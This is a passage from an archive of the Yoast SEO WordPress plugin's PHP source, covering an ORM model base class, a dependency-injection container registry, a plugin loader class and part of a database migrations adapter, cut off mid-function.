	 * Static method to get a table name given a class name.
	 * If the supplied class has a public static property
	 * named $table, the value of this property will be
	 * returned.
	 *
	 * If not, the class name will be converted using
	 * the class_name_to_table_name() method.
	 *
	 * If Model::$short_table_names == true or public static
	 * property $table_use_short_name == true then $class_name passed
	 * to class_name_to_table_name() is stripped of namespace information.
	 *
	 * @param string $class_name The class name to get the table name for.
	 *
	 * @return string The table name.
	 */
	protected static function get_table_name_for_class( $class_name ) {
		$specified_table_name = static::get_static_property( $class_name, 'table' );
		$use_short_class_name = static::use_short_table_name( $class_name );
		if ( $use_short_class_name ) {
			$exploded_class_name = \explode( '\\', $class_name );
			$class_name          = \end( $exploded_class_name );
		}

		if ( $specified_table_name === null ) {
			return static::class_name_to_table_name( $class_name );
		}

		return $specified_table_name;
	}

	/**
	 * Should short table names, disregarding class namespaces, be computed?
	 *
	 * $class_property overrides $global_option, unless $class_property is null.
	 *
	 * @param string $class_name The class name to get short name for.
	 *
	 * @return bool True when short table name should be used.
	 */
	protected static function use_short_table_name( $class_name ) {
		$class_property = static::get_static_property( $class_name, 'table_use_short_name' );

		if ( $class_property === null ) {
			return static::$short_table_names;
		}

		return $class_property;
	}

	/**
	 * Convert a namespace to the standard PEAR underscore format.
	 *
	 * Then convert a class name in CapWords to a table name in
	 * lowercase_with_underscores.
	 *
	 * Finally strip doubled up underscores.
	 *
	 * For example, CarTyre would be converted to car_tyre. And
	 * Project\Models\CarTyre would be project_models_car_tyre.
	 *
	 * @param string $class_name The class name to get the table name for.
	 *
	 * @return string The table name.
	 */
	protected static function class_name_to_table_name( $class_name ) {
		$find         = [
			'/\\\\/',
			'/(?<=[a-z])([A-Z])/',
			'/__/',
		];
		$replacements = [
			'_',
			'_$1',
			'_',
		];

		$class_name = \ltrim( $class_name, '\\' );
		$class_name = \preg_replace( $find, $replacements, $class_name );

		return \strtolower( $class_name );
	}

	/**
	 * Return the ID column name to use for this class. If it is
	 * not set on the class, returns null.
	 *
	 * @param string $class_name The class name to get the ID column for.
	 *
	 * @return string|null The ID column name.
	 */
	protected static function get_id_column_name( $class_name ) {
		return static::get_static_property( $class_name, 'id_column', static::DEFAULT_ID_COLUMN );
	}

	/**
	 * Build a foreign key based on a table name. If the first argument
	 * (the specified foreign key column name) is null, returns the second
	 * argument (the name of the table) with the default foreign key column
	 * suffix appended.
	 *
	 * @param string $specified_foreign_key_name The keyname to build.
	 * @param string $table_name                 The table name to build the key name for.
	 *
	 * @return string The built foreign key name.
	 */
	protected static function build_foreign_key_name( $specified_foreign_key_name, $table_name ) {
		if ( $specified_foreign_key_name !== null ) {
			return $specified_foreign_key_name;
		}

		return $table_name . static::DEFAULT_FOREIGN_KEY_SUFFIX;
	}

	/**
	 * Factory method used to acquire instances of the given class.
	 * The class name should be supplied as a string, and the class
	 * should already have been loaded by PHP (or a suitable autoloader
	 * should exist). This method actually returns a wrapped ORM object
	 * which allows a database query to be built. The wrapped ORM object is
	 * responsible for returning instances of the correct class when
	 * its find_one or find_many methods are called.
	 *
	 * @param string $class_name The target class name.
	 *
	 * @return ORM Instance of the ORM wrapper.
	 */
	public static function factory( $class_name ) {
		$class_name = static::$auto_prefix_models . $class_name;
		$table_name = static::get_table_name_for_class( $class_name );
		$wrapper    = ORM::for_table( $table_name );
		$wrapper->set_class_name( $class_name );
		$wrapper->use_id_column( static::get_id_column_name( $class_name ) );

		return $wrapper;
	}

	/**
	 * Internal method to construct the queries for both the has_one and
	 * has_many methods. These two types of association are identical; the
	 * only difference is whether find_one or find_many is used to complete
	 * the method chain.
	 *
	 * @param string      $associated_class_name                    The associated class name.
	 * @param string|null $foreign_key_name                         The foreign key name in the associated table.
	 * @param string|null $foreign_key_name_in_current_models_table The foreign key in the current models table.
	 *
	 * @return ORM Instance of the ORM.
	 *
	 * @throws Exception When ID of current model has a null value.
	 */
	protected function has_one_or_many( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_current_models_table = null ) {
		$base_table_name  = static::get_table_name_for_class( static::class );
		$foreign_key_name = static::build_foreign_key_name( $foreign_key_name, $base_table_name );

		/*
		 * Value of foreign_table.{$foreign_key_name} we're looking for. Where foreign_table is the actual
		 * database table in the associated model.
		 */
		if ( $foreign_key_name_in_current_models_table === null ) {
			// Matches foreign_table.{$foreign_key_name} with the value of "{$this->table}.{$this->id()}".
			$where_value = $this->id();
		}
		else {
			// Matches foreign_table.{$foreign_key_name} with "{$this->table}.{$foreign_key_name_in_current_models_table}".
			$where_value = $this->{$foreign_key_name_in_current_models_table};
		}

		return static::factory( $associated_class_name )->where( $foreign_key_name, $where_value );
	}

	/**
	 * Helper method to manage one-to-one relations where the foreign
	 * key is on the associated table.
	 *
	 * @param string      $associated_class_name                    The associated class name.
	 * @param string|null $foreign_key_name                         The foreign key name in the associated table.
	 * @param string|null $foreign_key_name_in_current_models_table The foreign key in the current models table.
	 *
	 * @return ORM Instance of the ORM.
	 *
	 * @throws Exception  When ID of current model has a null value.
	 */
	protected function has_one( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_current_models_table = null ) {
		return $this->has_one_or_many( $associated_class_name, $foreign_key_name, $foreign_key_name_in_current_models_table );
	}

	/**
	 * Helper method to manage one-to-many relations where the foreign
	 * key is on the associated table.
	 *
	 * @param string      $associated_class_name                    The associated class name.
	 * @param string|null $foreign_key_name                         The foreign key name in the associated table.
	 * @param string|null $foreign_key_name_in_current_models_table The foreign key in the current models table.
	 *
	 * @return ORM Instance of the ORM.
	 *
	 * @throws Exception When ID has a null value.
	 */
	protected function has_many( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_current_models_table = null ) {
		$this->set_table_name( $associated_class_name );

		return $this->has_one_or_many( $associated_class_name, $foreign_key_name, $foreign_key_name_in_current_models_table );
	}

	/**
	 * Helper method to manage one-to-one and one-to-many relations where
	 * the foreign key is on the base table.
	 *
	 * @param string      $associated_class_name                       The associated class name.
	 * @param string|null $foreign_key_name                            The foreign key in the current models table.
	 * @param string|null $foreign_key_name_in_associated_models_table The foreign key in the associated table.
	 *
	 * @return $this|null Instance of the foreign model.
	 */
	protected function belongs_to( $associated_class_name, $foreign_key_name = null, $foreign_key_name_in_associated_models_table = null ) {
		$this->set_table_name( $associated_class_name );

		$associated_table_name = static::get_table_name_for_class( static::$auto_prefix_models . $associated_class_name );
		$foreign_key_name      = static::build_foreign_key_name( $foreign_key_name, $associated_table_name );
		$associated_object_id  = $this->{$foreign_key_name};

		if ( $foreign_key_name_in_associated_models_table === null ) {
			/*
			 * Comparison: "{$associated_table_name}.primary_key = {$associated_object_id}".
			 *
			 * NOTE: primary_key is a placeholder for the actual primary key column's name in $associated_table_name.
			 */
			return static::factory( $associated_class_name )->where_id_is( $associated_object_id );
		}

		// Comparison: "{$associated_table_name}.{$foreign_key_name_in_associated_models_table} = {$associated_object_id}".
		return static::factory( $associated_class_name )
			->where( $foreign_key_name_in_associated_models_table, $associated_object_id );
	}

	/**
	 * Helper method to manage many-to-many relationships via an intermediate model. See
	 * README for a full explanation of the parameters.
	 *
	 * @param string      $associated_class_name   The associated class name.
	 * @param string|null $join_class_name         The class name to join.
	 * @param string|null $key_to_base_table       The key to the the current models table.
	 * @param string|null $key_to_associated_table The key to the associated table.
	 * @param string|null $key_in_base_table       The key in the current models table.
	 * @param string|null $key_in_associated_table The key in the associated table.
	 *
	 * @return ORM Instance of the ORM.
	 */
	protected function has_many_through( $associated_class_name, $join_class_name = null, $key_to_base_table = null, $key_to_associated_table = null, $key_in_base_table = null, $key_in_associated_table = null ) {
		$base_class_name = static::class;

		/*
		 * The class name of the join model, if not supplied, is formed by
		 * concatenating the names of the base class and the associated class,
		 * in alphabetical order.
		 */
		if ( $join_class_name === null ) {
			$base_model      = \explode( '\\', $base_class_name );
			$base_model_name = \end( $base_model );
			if ( \strpos( $base_model_name, static::$auto_prefix_models ) === 0 ) {
				$base_model_name = \substr( $base_model_name, \strlen( static::$auto_prefix_models ), \strlen( $base_model_name ) );
			}
			// Paris wasn't checking the name settings for the associated class.
			$associated_model      = \explode( '\\', $associated_class_name );
			$associated_model_name = \end( $associated_model );
			if ( \strpos( $associated_model_name, static::$auto_prefix_models ) === 0 ) {
				$associated_model_name = \substr( $associated_model_name, \strlen( static::$auto_prefix_models ), \strlen( $associated_model_name ) );
			}
			$class_names = [ $base_model_name, $associated_model_name ];
			\sort( $class_names, \SORT_STRING );
			$join_class_name = \implode( '', $class_names );
		}

		// Get table names for each class.
		$base_table_name       = static::get_table_name_for_class( $base_class_name );
		$associated_table_name = static::get_table_name_for_class( static::$auto_prefix_models . $associated_class_name );
		$join_table_name       = static::get_table_name_for_class( static::$auto_prefix_models . $join_class_name );

		// Get ID column names.
		$base_table_id_column       = ( $key_in_base_table === null ) ? static::get_id_column_name( $base_class_name ) : $key_in_base_table;
		$associated_table_id_column = ( $key_in_associated_table === null ) ? static::get_id_column_name( static::$auto_prefix_models . $associated_class_name ) : $key_in_associated_table;

		// Get the column names for each side of the join table.
		$key_to_base_table       = static::build_foreign_key_name( $key_to_base_table, $base_table_name );
		$key_to_associated_table = static::build_foreign_key_name( $key_to_associated_table, $associated_table_name );

		/* phpcs:ignore Squiz.PHP.CommentedOutCode.Found -- Reason: This is commented out code.
			"   SELECT {$associated_table_name}.*
				FROM {$associated_table_name} JOIN {$join_table_name}
					ON {$associated_table_name}.{$associated_table_id_column} = {$join_table_name}.{$key_to_associated_table}
				WHERE {$join_table_name}.{$key_to_base_table} = {$this->$base_table_id_column} ;"
		*/

		return static::factory( $associated_class_name )
			->select( "{$associated_table_name}.*" )
			->join(
				$join_table_name,
				[
					"{$associated_table_name}.{$associated_table_id_column}",
					'=',
					"{$join_table_name}.{$key_to_associated_table}",
				]
			)
			->where( "{$join_table_name}.{$key_to_base_table}", $this->{$base_table_id_column} );
	}

	/**
	 * Set the wrapped ORM instance associated with this Model instance.
	 *
	 * @param ORM $orm The ORM instance to set.
	 *
	 * @return void
	 */
	public function set_orm( $orm ) {
		$this->orm = $orm;
	}

	/**
	 * Magic getter method, allows $model->property access to data.
	 *
	 * @param string $property The property to get.
	 *
	 * @return mixed The value of the property
	 */
	public function __get( $property ) {
		$value = $this->orm->get( $property );

		if ( $value !== null && \in_array( $property, $this->boolean_columns, true ) ) {
			return (bool) $value;
		}
		if ( $value !== null && \in_array( $property, $this->int_columns, true ) ) {
			return (int) $value;
		}
		if ( $value !== null && \in_array( $property, $this->float_columns, true ) ) {
			return (float) $value;
		}

		return $value;
	}

	/**
	 * Magic setter method, allows $model->property = 'value' access to data.
	 *
	 * @param string $property The property to set.
	 * @param string $value    The value to set.
	 *
	 * @return void
	 */
	public function __set( $property, $value ) {
		if ( $value !== null && \in_array( $property, $this->boolean_columns, true ) ) {
			$value = ( $value ) ? '1' : '0';
		}
		if ( $value !== null && \in_array( $property, $this->int_columns, true ) ) {
			$value = (string) $value;
		}
		if ( $value !== null && \in_array( $property, $this->float_columns, true ) ) {
			$value = (string) $value;
		}

		$this->orm->set( $property, $value );
	}

	/**
	 * Magic unset method, allows unset($model->property)
	 *
	 * @param string $property The property to unset.
	 *
	 * @return void
	 */
	public function __unset( $property ) {
		$this->orm->__unset( $property );
	}

	/**
	 * JSON serializer.
	 *
	 * @return array The data of this object.
	 */
	#[ReturnTypeWillChange]
	public function jsonSerialize() {
		return $this->orm->as_array();
	}

	/**
	 * Strips all nested dependencies from the debug info.
	 *
	 * @return array
	 */
	public function __debugInfo() {
		if ( $this->orm ) {
			return $this->orm->as_array();
		}

		return [];
	}

	/**
	 * Magic isset method, allows isset($model->property) to work correctly.
	 *
	 * @param string $property The property to check.
	 *
	 * @return bool True when value is set.
	 */
	public function __isset( $property ) {
		return $this->orm->__isset( $property );
	}

	/**
	 * Getter method, allows $model->get('property') access to data
	 *
	 * @param string $property The property to get.
	 *
	 * @return string The value of a property.
	 */
	public function get( $property ) {
		return $this->orm->get( $property );
	}

	/**
	 * Setter method, allows $model->set('property', 'value') access to data.
	 *
	 * @param string|array $property The property to set.
	 * @param string|null  $value    The value to give.
	 *
	 * @return static Current object.
	 */
	public function set( $property, $value = null ) {
		$this->orm->set( $property, $value );

		return $this;
	}

	/**
	 * Setter method, allows $model->set_expr('property', 'value') access to data.
	 *
	 * @param string|array $property The property to set.
	 * @param string|null  $value    The value to give.
	 *
	 * @return static Current object.
	 */
	public function set_expr( $property, $value = null ) {
		$this->orm->set_expr( $property, $value );

		return $this;
	}

	/**
	 * Check whether the given property has changed since the object was created or saved.
	 *
	 * @param string $property The property to check.
	 *
	 * @return bool True when field is changed.
	 */
	public function is_dirty( $property ) {
		return $this->orm->is_dirty( $property );
	}

	/**
	 * Check whether the model was the result of a call to create() or not.
	 *
	 * @return bool True when is new.
	 */
	public function is_new() {
		return $this->orm->is_new();
	}

	/**
	 * Wrapper for Idiorm's as_array method.
	 *
	 * @return array The models data as array.
	 */
	public function as_array() {
		$args = \func_get_args();

		return \call_user_func_array( [ $this->orm, 'as_array' ], $args );
	}

	/**
	 * Save the data associated with this model instance to the database.
	 *
	 * @return bool True on success.
	 */
	public function save() {
		if ( $this->uses_timestamps ) {
			if ( ! $this->created_at ) {
				$this->created_at = \gmdate( 'Y-m-d H:i:s' );
			}
			$this->updated_at = \gmdate( 'Y-m-d H:i:s' );
		}

		return $this->orm->save();
	}

	/**
	 * Delete the database row associated with this model instance.
	 *
	 * @return bool|int Response of wpdb::query.
	 */
	public function delete() {
		return $this->orm->delete();
	}

	/**
	 * Get the database ID of this model instance.
	 *
	 * @return int The database ID of the models instance.
	 *
	 * @throws Exception When the ID is a null value.
	 */
	public function id() {
		return $this->orm->id();
	}

	/**
	 * Hydrate this model instance with an associative array of data.
	 * WARNING: The keys in the array MUST match with columns in the
	 * corresponding database table. If any keys are supplied which
	 * do not match up with columns, the database will throw an error.
	 *
	 * @param array $data The data to pass to the ORM.
	 *
	 * @return void
	 */
	public function hydrate( $data ) {
		$this->orm->hydrate( $data )->force_all_dirty();
	}

	/**
	 * Calls static methods directly on the ORM
	 *
	 * @param string $method    The method to call.
	 * @param array  $arguments The arguments to use.
	 *
	 * @return array Result of the static call.
	 */
	public static function __callStatic( $method, $arguments ) {
		if ( ! \function_exists( 'get_called_class' ) ) {
			return [];
		}

		$model = static::factory( static::class );

		return \call_user_func_array( [ $model, $method ], $arguments );
	}
}
wordpress-seo/lib/dependency-injection/container-registry.php000064400000004117147510273110020571 0ustar00<?php

namespace Yoast\WP\Lib\Dependency_Injection;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException;

/**
 * Container_Registry class.
 */
class Container_Registry {

	/**
	 * The registered containers.
	 *
	 * @var ContainerInterface[]
	 */
	private static $containers = [];

	/**
	 * Register a container.
	 *
	 * @param string             $name      The name of the container.
	 * @param ContainerInterface $container The container.
	 *
	 * @return void
	 */
	public static function register( $name, ContainerInterface $container ) {
		self::$containers[ $name ] = $container;
	}

	// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.

	/**
	 * Get an instance from a specific container.
	 *
	 * @param string $name              The name of the container.
	 * @param string $id                The ID of the service.
	 * @param int    $invalid_behaviour The behaviour when the service could not be found.
	 *
	 * @return object|null The service.
	 *
	 * @throws ServiceCircularReferenceException When a circular reference is detected.
	 * @throws ServiceNotFoundException          When the service is not defined.
	 */
	public static function get( $name, $id, $invalid_behaviour = 1 ) {
		if ( ! \array_key_exists( $name, self::$containers ) ) {
			if ( $invalid_behaviour === ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE ) {
				throw new ServiceNotFoundException( $id );
			}
			return null;
		}
		return self::$containers[ $name ]->get( $id, $invalid_behaviour );
	}

	// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber

	/**
	 * Attempts to find a given service ID in all registered containers.
	 *
	 * @param string $id The service ID.
	 *
	 * @return string|null The name of the container if the service was found.
	 */
	public static function find( $id ) {
		foreach ( self::$containers as $name => $container ) {
			if ( $container->has( $id ) ) {
				return $name;
			}
		}
	}
}
wordpress-seo/lib/abstract-main.php000064400000010432147510273110013365 0ustar00<?php

namespace Yoast\WP\Lib;

use Exception;
use WPSEO_Utils;
use Yoast\WP\Lib\Dependency_Injection\Container_Registry;
use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Loader;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Abstract class to extend for the main class in a plugin.
 */
abstract class Abstract_Main {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface|null
	 */
	protected $container;

	/**
	 * A cache for previously requested and constructed surfaces.
	 *
	 * @var mixed[]
	 */
	private $cached_surfaces = [];

	/**
	 * Loads the plugin.
	 *
	 * @return void
	 *
	 * @throws Exception If loading fails and YOAST_ENVIRONMENT is development.
	 */
	public function load() {
		if ( $this->container ) {
			return;
		}

		try {
			$this->container = $this->get_container();
			Container_Registry::register( $this->get_name(), $this->container );

			if ( ! $this->container ) {
				return;
			}
			if ( ! $this->container->has( Loader::class ) ) {
				return;
			}

			$this->container->get( Loader::class )->load();
		} catch ( Exception $e ) {
			if ( $this->is_development() ) {
				throw $e;
			}
			// Don't crash the entire site, simply don't load.
		}
	}

	/**
	 * Magic getter for retrieving a property from a surface.
	 *
	 * @param string $property The property to retrieve.
	 *
	 * @return mixed The value of the property.
	 *
	 * @throws Exception When the property doesn't exist.
	 */
	public function __get( $property ) {
		if ( \array_key_exists( $property, $this->cached_surfaces ) ) {
			return $this->cached_surfaces[ $property ];
		}

		$surfaces = $this->get_surfaces();

		if ( isset( $surfaces[ $property ] ) ) {
			$this->cached_surfaces[ $property ] = $this->container->get( $surfaces[ $property ] );

			return $this->cached_surfaces[ $property ];
		}
		throw new Exception( \sprintf( 'Property $%s does not exist.', $property ) );
	}

	/**
	 * Checks if the given property exists as a surface.
	 *
	 * @param string $property The property to retrieve.
	 *
	 * @return bool True when property is set.
	 */
	public function __isset( $property ) {
		if ( \array_key_exists( $property, $this->cached_surfaces ) ) {
			return true;
		}

		$surfaces = $this->get_surfaces();

		if ( ! isset( $surfaces[ $property ] ) ) {
			return false;
		}

		return $this->container->has( $surfaces[ $property ] );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Loads the DI container.
	 *
	 * @return ContainerInterface|null The DI container.
	 *
	 * @throws Exception If something goes wrong generating the DI container.
	 */
	abstract protected function get_container();

	/**
	 * Gets the name of the plugin.
	 *
	 * @return string The name.
	 */
	abstract protected function get_name();

	/**
	 * Gets the surfaces of this plugin.
	 *
	 * @return array A mapping of surface name to the responsible class.
	 */
	abstract protected function get_surfaces();

	/**
	 * Returns whether or not we're in an environment for Yoast development.
	 *
	 * @return bool Whether or not to load in development mode.
	 */
	protected function is_development() {
		try {
			return WPSEO_Utils::is_development_mode();
		}
		catch ( Exception $exception ) {
			// E.g. when WordPress and/or WordPress SEO are not loaded.
			return \defined( 'YOAST_ENVIRONMENT' ) && \YOAST_ENVIRONMENT === 'development';
		}
	}
}
wordpress-seo/lib/migrations/adapter.php000064400000064761147510273110014452 0ustar00<?php

namespace Yoast\WP\Lib\Migrations;

use Exception;
use Yoast\WP\Lib\Model;

/**
 * Yoast migrations adapter class.
 */
class Adapter {

	/**
	 * The version of this adapter.
	 *
	 * @var string
	 */
	private $version = '1.0';

	/**
	 * Whether or not a transaction has been started.
	 *
	 * @var bool
	 */
	private $in_transaction = false;

	/**
	 * Returns the current database name.
	 *
	 * @return string
	 */
	public function get_database_name() {
		global $wpdb;

		return $wpdb->dbname;
	}

	/**
	 * Checks support for migrations.
	 *
	 * @return bool
	 */
	public function supports_migrations() {
		return true;
	}

	/**
	 * Returns all column native types.
	 *
	 * @return array
	 */
	public function native_database_types() {
		$types = [
			'primary_key'   => [
				'name'  => 'integer',
				'limit' => 11,
				'null'  => false,
			],
			'string'        => [
				'name'  => 'varchar',
				'limit' => 255,
			],
			'text'          => [ 'name' => 'text' ],
			'tinytext'      => [ 'name' => 'tinytext' ],
			'mediumtext'    => [ 'name' => 'mediumtext' ],
			'integer'       => [
				'name'  => 'int',
				'limit' => 11,
			],
			'tinyinteger'   => [ 'name' => 'tinyint' ],
			'smallinteger'  => [ 'name' => 'smallint' ],
			'mediuminteger' => [ 'name' => 'mediumint' ],
			'biginteger'    => [ 'name' => 'bigint' ],
			'float'         => [ 'name' => 'float' ],
			'decimal'       => [
				'name'      => 'decimal',
				'scale'     => 0,
				'precision' => 10,
			],
			'datetime'      => [ 'name' => 'datetime' ],
			'timestamp'     => [ 'name' => 'timestamp' ],
			'time'          => [ 'name' => 'time' ],
			'date'          => [ 'name' => 'date' ],
			'binary'        => [ 'name' => 'blob' ],
			'tinybinary'    => [ 'name' => 'tinyblob' ],
			'mediumbinary'  => [ 'name' => 'mediumblob' ],
			'longbinary'    => [ 'name' => 'longblob' ],
			'boolean'       => [
				'name'  => 'tinyint',
				'limit' => 1,
			],
			'enum'          => [
				'name'   => 'enum',
				'values' => [],
			],
			'uuid'          => [
				'name'  => 'char',
				'limit' => 36,
			],
			'char'          => [ 'name' => 'char' ],
		];

		return $types;
	}

	/**
	 * Checks if a table exists.
	 *
	 * @param string $table The table name.
	 *
	 * @return bool
	 */
	public function has_table( $table ) {
		return $this->table_exists( $table );
	}

	/**
	 * Allows overriding the hardcoded schema table name constant in case of parallel migrations.
	 *
	 * @return string
	 */
	public function get_schema_version_table_name() {
		return Model::get_table_name( 'migrations' );
	}

	/**
	 * Create the schema table, if necessary.
	 *
	 * @return void
	 */
	public function create_schema_version_table() {
		if ( ! $this->has_table( $this->get_schema_version_table_name() ) ) {
			$t = $this->create_table( $this->get_schema_version_table_name() );
			$t->column( 'version', 'string', [ 'limit' => 191 ] );
			$t->finish();
			$this->add_index( $this->get_schema_version_table_name(), 'version', [ 'unique' => true ] );
		}
	}

	/**
	 * Starts a transaction.
	 *
	 * @return void
	 */
	public function start_transaction() {
		if ( $this->in_transaction() === false ) {
			$this->begin_transaction();
		}
	}

	/**
	 * Commits a transaction.
	 *
	 * @return void
	 */
	public function commit_transaction() {
		if ( $this->in_transaction() ) {
			$this->commit();
		}
	}

	/**
	 * Rollbacks a transaction.
	 *
	 * @return void
	 */
	public function rollback_transaction() {
		if ( $this->in_transaction() ) {
			$this->rollback();
		}
	}

	/**
	 * Quotes a table name string.
	 *
	 * @param string $text Table name.
	 *
	 * @return string
	 */
	public function quote_table( $text ) {
		return '`' . $text . '`';
	}

	/**
	 * Return the SQL definition of a column.
	 *
	 * @param string     $column_name The column name.
	 * @param string     $type        The type of the column.
	 * @param array|null $options     Column options.
	 *
	 * @return string
	 */
	public function column_definition( $column_name, $type, $options = null ) {
		$col = new Column( $this, $column_name, $type, $options );

		return $col->__toString();
	}

	/**
	 * Checks if a database exists.
	 *
	 * @param string $database The database name.
	 *
	 * @return bool
	 */
	public function database_exists( $database ) {
		$ddl    = 'SHOW DATABASES';
		$result = $this->select_all( $ddl );
		if ( \count( $result ) === 0 ) {
			return false;
		}
		foreach ( $result as $dbrow ) {
			if ( $dbrow['Database'] === $database ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Creates a database.
	 *
	 * @param string $db The database name.
	 *
	 * @return bool
	 */
	public function create_database( $db ) {
		if ( $this->database_exists( $db ) ) {
			return false;
		}
		$ddl    = \sprintf( 'CREATE DATABASE %s', $this->identifier( $db ) );
		$result = $this->query( $ddl );

		return $result === true;
	}

	/**
	 * Drops a database.
	 *
	 * @param string $db The database name.
	 *
	 * @return bool
	 */
	public function drop_database( $db ) {
		if ( ! $this->database_exists( $db ) ) {
			return false;
		}
		$ddl    = \sprintf( 'DROP DATABASE IF EXISTS %s', $this->identifier( $db ) );
		$result = $this->query( $ddl );

		return $result === true;
	}

	/**
	 * Checks if a table exists.
	 *
	 * @param string $table The table name.
	 *
	 * @return bool
	 */
	public function table_exists( $table ) {
		global $wpdb;

		// We need last error to be clear so we can check against it easily.
		$previous_last_error      = $wpdb->last_error;
		$previous_suppress_errors = $wpdb->suppress_errors;
		$wpdb->last_error         = '';
		$wpdb->suppress_errors    = true;

		$result = $wpdb->query( "SELECT * FROM $table LIMIT 1" );

		// Restore the last error, as this is not truly an error and we don't want to alarm people.
		$wpdb->last_error      = $previous_last_error;
		$wpdb->suppress_errors = $previous_suppress_errors;

		return $result !== false;
	}

	/**
	 * Wrapper to execute a query.
	 *
	 * @param string $query The query to run.
	 *
	 * @return bool
	 */
	public function execute( $query ) {
		return $this->query( $query );
	}

	/**
	 * Executes a query.
	 *
	 * @param string $query The query to run.
	 *
	 * @return bool Whether or not the query was performed succesfully.
	 */
	public function query( $query ) {
		global $wpdb;

		$query_type = $this->determine_query_type( $query );
		$data       = [];
		if ( $query_type === Constants::SQL_SELECT || $query_type === Constants::SQL_SHOW ) {
			$data = $wpdb->get_results( $query, \ARRAY_A );
			if ( $data === false ) {
				return false;
			}

			return $data;
		}
		else {
			// INSERT, DELETE, etc...
			$result = $wpdb->query( $query );
			if ( $result === false ) {
				return false;
			}
			if ( $query_type === Constants::SQL_INSERT ) {
				return $wpdb->insert_id;
			}

			return true;
		}
	}

	/**
	 * Returns a single result for a query.
	 *
	 * @param string $query The query to run.
	 *
	 * @return array|false An associative array of the result.
	 */
	public function select_one( $query ) {
		global $wpdb;

		$query_type = $this->determine_query_type( $query );
		if ( $query_type === Constants::SQL_SELECT || $query_type === Constants::SQL_SHOW ) {
			$result = $wpdb->query( $query );
			if ( $result === false ) {
				return false;
			}

			return $wpdb->last_result[0];
		}

		return false;
	}

	/**
	 * Returns all results for a query.
	 *
	 * @param string $query The query to run.
	 *
	 * @return array An array of associative arrays.
	 */
	public function select_all( $query ) {
		return $this->query( $query );
	}

	/**
	 * Use this method for non-SELECT queries.
	 * Or anything where you dont necessarily expect a result string, e.g. DROPs, CREATEs, etc.
	 *
	 * @param string $ddl The query to run.
	 *
	 * @return bool
	 */
	public function execute_ddl( $ddl ) {
		return $this->query( $ddl );
	}

	/**
	 * Drops a table
	 *
	 * @param string $table The table name.
	 *
	 * @return bool Whether or not the table was succesfully dropped.
	 */
	public function drop_table( $table ) {
		$ddl = \sprintf( 'DROP TABLE IF EXISTS %s', $this->identifier( $table ) );
		return $this->query( $ddl );
	}

	/**
	 * Creates a table.
	 *
	 * @param string $table_name The table name.
	 * @param array  $options    The options.
	 *
	 * @return Table
	 */
	public function create_table( $table_name, $options = [] ) {
		return new Table( $this, $table_name, $options );
	}

	/**
	 * Escapes a string for usage in queries.
	 *
	 * @param string $text The string.
	 *
	 * @return string
	 */
	public function quote_string( $text ) {
		global $wpdb;

		return $wpdb->_escape( $text );
	}

	/**
	 * Returns a quoted string.
	 *
	 * @param string $text The string.
	 *
	 * @return string
	 */
	public function identifier( $text ) {
		return '`' . $text . '`';
	}

	/**
	 * Renames a table.
	 *
	 * @param string $name     The current table name.
	 * @param string $new_name The new table name.
	 *
	 * @return bool
	 */
	public function rename_table( $name, $new_name ) {
		if ( empty( $name ) || empty( $new_name ) ) {
			return false;
		}
		$sql = \sprintf( 'RENAME TABLE %s TO %s', $this->identifier( $name ), $this->identifier( $new_name ) );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Adds a column.
	 *
	 * @param string $table_name  The table name.
	 * @param string $column_name The column name.
	 * @param string $type        The column type.
	 * @param array  $options     Column options.
	 *
	 * @return bool
	 */
	public function add_column( $table_name, $column_name, $type, $options = [] ) {
		if ( empty( $table_name ) || empty( $column_name ) || empty( $type ) ) {
			return false;
		}
		// Default types.
		if ( ! \array_key_exists( 'limit', $options ) ) {
			$options['limit'] = null;
		}
		if ( ! \array_key_exists( 'precision', $options ) ) {
			$options['precision'] = null;
		}
		if ( ! \array_key_exists( 'scale', $options ) ) {
			$options['scale'] = null;
		}
		$sql  = \sprintf( 'ALTER TABLE %s ADD `%s` %s', $this->identifier( $table_name ), $column_name, $this->type_to_sql( $type, $options ) );
		$sql .= $this->add_column_options( $type, $options );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Drops a column.
	 *
	 * @param string $table_name  The table name.
	 * @param string $column_name The column name.
	 *
	 * @return bool
	 */
	public function remove_column( $table_name, $column_name ) {
		$sql = \sprintf( 'ALTER TABLE %s DROP COLUMN %s', $this->identifier( $table_name ), $this->identifier( $column_name ) );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Renames a column.
	 *
	 * @param string $table_name      The table name.
	 * @param string $column_name     The column name.
	 * @param string $new_column_name The new column name.
	 *
	 * @return bool
	 */
	public function rename_column( $table_name, $column_name, $new_column_name ) {
		if ( empty( $table_name ) || empty( $column_name ) || empty( $new_column_name ) ) {
			return false;
		}
		$column_info  = $this->column_info( $table_name, $column_name );
		$current_type = $column_info['type'];
